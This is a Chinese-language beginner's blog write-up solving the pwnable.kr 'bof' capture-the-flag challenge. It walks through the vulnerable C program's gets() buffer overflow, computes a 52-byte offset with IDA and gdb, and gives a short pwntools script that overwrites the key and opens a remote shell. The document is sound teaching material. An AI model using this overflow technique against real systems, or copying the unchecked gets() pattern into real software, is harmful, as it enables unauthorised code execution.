基础pwn的小白流程

我是一个很菜很菜很菜*1024的二进制瓜娃子,但是既然选了二进制,不管别人是否重视我,也要好好的学习(ง •̀_•́)ง
前记

我这段时间是看基础知识点,我看的许多视频上都说要好好学习理解二进制的基础,比如cpu的设计与实现了,编译原理,和操作系统等等,汇编语言的基础,解码指令,指令跳转,指令的解码与执行,以及各种指令跳转,视频的up主都说以后这些基础都很重要,反正我是不知道这些对我有多少用处。

网上的pwn入门教程和视频都是牛人,一开始就说pwn很难(我也觉得),再将了一些基础后就直接开始 “from pwn import *”,对于我这种连mov、sub、add都看不太懂的人来说,简直就是煎熬,加上虚拟机的不给力,简直想让我放弃pwn,但是咸鱼也不能一直咸下去,得稍微翻翻身。

正文

做pwn的工具我就不介绍了,百度上都是介绍

这篇博文介绍的是pwnable.kr平台上的入门题第三道题bof

进入pwnable.kr,下载文件

复制网址进行下载

其中http://pwnable.kr/bin/bof.c,是源文件,可直接查看程序

另一个是用ubuntu运行的程序

最后的那个nc就是我们要send远程运行远端的程序

第一步,我们先开始看源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void func(int key){

char overflowme[32];

printf("overflow me : ");

gets(overflowme); // smash me!

if(key == 0xcafebabe){

system("/bin/sh");

}

else{

printf("Nah..\n");

}

}

int main(int argc, char* argv[]){

func(0xdeadbeef);


return 0;
}

我们从这个代码能找到什么信息?

我们看mian函数,函数中只要有一个func函数,可以看出,这是就是我们的关照对象之一。

可以看出key(也就是我们传进去的0xdeadbeef)我们再看func函数体内

1
2
3
4
5
6
7

if(key == 0xcafebabe){

system("/bin/sh");

}

也就是说传进去的0xdeadbeef要和0xcafebabe比较

不止如此,我们看代码,程序中有overflow me,翻译过来大概就是“使我满溢”(百度翻译),还开辟了一个数组,意思大概就是弄一个比这个数组还长的字符串过去,超过数组边界,把后面传过来的0xdeadbeef覆盖掉,换成0xcafebabe就可以验证通过。

好了,源代码分析到着,我们来看bof文件,进入ubuntu,使用checksec
查看bof文件的基本情况。

是32位的,我试过一直输入a,看看会怎样,但是没有想要的结果,所以我们就在windows中把下载的bof拖到IDA32位中查看汇编代码

这里用到一个小细节,就是可以通过反汇编中把代码复制到汇编,可能有些迷,没事,相信你看了下面的图片之后就懂了

这是原本的样子

进入反汇编

由源代码,我们要重点关注func函数

进入汇编界面,可以看到

我们看汇编语言

前三行是定义

我们先看

1
2
3
4
mov  ebp,esp

sub esp,48h

这是什么意思嘞?

就是开辟一个空间,然后esp在上面,然后再往下48h才是ebp

也就是,esp与ebp之间有48h的空间

|————esp————|

|… |

| 中间有48h |

|… |

|————ebp————|

栈的模型大概就这

我们要向里面输入东西,但是得看这48h中哪些部分能装,哪些步能装,才能找到我们要覆盖的大小

之后我们要找关于有ebp的汇编指令比如

1
2
3

mov [ebp+var_C],eax

var_C是在前三行中定义好的,是-0Ch,而mov就是拷贝的意思

这句指令的意思就是把eax中的值放到ebp-0Ch那个地方,就是ebp上面0Ch的地方

我们根据之前的栈结构进行一下计算,ebp上面0Ch 然后esp和ebp总共48h,也就是esp往下3Ch的地方拷贝了一个什么东西,这不重要,因为我们还没有输入。

看gets($S)这个下面的mov,这就是关键了因为这里就是我们要输入一大堆的地方。

是不是有lea,eax,[ebp+s],然后s是-2Ch(前面定义好的)。

再计算一下,就是esp往下1Ch的地方(48h-2Ch)。

也就是说 我们的输入程序是从esp往下1Ch的地方开始存放的 距离ebp有2Ch的距离

再看

1
cmp  [ebp+arg_0],0CAFEBABEh

这句指令意思是让ebp往后arg_0与cafebabe进行比较

arg_0也是定义过的,是8,接下来我们来计算一下,到底需要多少字符来覆盖deadbeef.

通过上面的计算,esb和ebp间有2Ch用来覆盖,加上ebp后的8,就是2Ch+0x8个字符,化为十进制就是,44+8=52(当然也可以用十六进制的,是0x34)

意思就是用52个随意字符进行覆盖,最后用0xcafebabe进行覆盖进行控制。

脚本如下:

1
2
3
4
5
6
7
8
9
# -*- coding: utf-8 -*-

from pwn import *

r = remote('pwnable.kr','9000')

r.send('a'*52+'\xbe\xba\xfe\xca')

r.interactive()

运行结果如下

还有一种做法,就是gdb调试查看内存,进而得知构造所需字符的大小

接下来,我们通过使用gdb命令进行调试,我也是百度了一堆才了解的

第一步,我们用gdb打开elf文件,就是bof

再 b main

得到main的地址后进行r命令

由源代码,我们的关注对象是func函数,

我们得调试到call func的函数内部

第一,通过命令 n(单步不进入) ,是光标到call func,然后用命令 s(单步进入) ,进入func函数内部

这时我们的注意里应该在gets上,因为这道题func()中有一个长度为32的字符串数组overflowme,在调用gets()时没有检查字符串长度,会导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。随后比较key和0xcafebabe,相等的话就会弹出shell

命令 n 单步运行

我们到了gets上了,这时我们查看esp的内存

命令:x/40xw $esp

当前esp = 0xffffd000,esp中存储的是overflow开始的位置。
即:数组overflow从0xffffd01c开始,长度为32,到0xffffd01c + 32 = 0xffffd03c结束

从上图中还可以发现地址0xffffd050中存储的就是key的初始值0xdeafbeef

现在找到了overflow和key的地址,只需要计算一下他们之间的差值,便可以得出总共需要多少字符才可以覆盖到key

0xffffd050 - 0xffffd01c = 0x34

向overflow里面输入52个字节的字符,之后再加上4字节的数据(0xcafebabe),刚好可以覆写key

之后就可以写脚本了。